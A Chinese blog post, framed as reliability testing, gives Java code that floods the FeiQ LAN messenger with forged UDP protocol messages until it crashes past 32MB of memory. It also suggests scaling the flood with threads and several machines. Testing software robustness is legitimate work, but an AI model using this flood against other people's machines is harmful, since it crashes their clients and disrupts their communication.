讓你的飛秋死個機(UDP)

飛秋:局域網即時通訊

測試層面:給飛秋髮大量信息

        性能:佔用內存極限32M

       可靠性:當有攻擊性信息(非人爲可以完成)時,應拒絕客戶端信息

技術層面:使用Java代碼快速大量發送消息(使用循環,或多線程,多臺機器一起發)

Java代碼:

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class FeiqiuClientDemo {

	public static void main(String[] args) throws IOException {
		// TODO Auto-generated method stub
      //java發送UDP
		//飛秋傳送規則,兼容飛鴿傳書協議
		for(int i=0;i<50;i++){  //改變次數,測試崩潰臨界點
			String content="1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288:一日不見,如三月兮";
			//飛秋報文規則
			//Java發送udp
			byte[] sendBuf=content.getBytes("GBK");
			DatagramSocket client=new DatagramSocket();
			InetAddress addr=InetAddress.getByName("192.168.187.129");
			int port=2425;  //飛秋默認端口
			DatagramPacket sendPacket=new DatagramPacket(sendBuf,sendBuf.length,addr,port);
			client.send(sendPacket);
			client.close();
		}
	}

}
發生了什麼讓飛秋崩潰?

       啓動任務管理器監控資源情況(CPU、內存的使用情況),發現飛秋佔用最大內存爲32M,當超過32M時,發生崩潰。



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章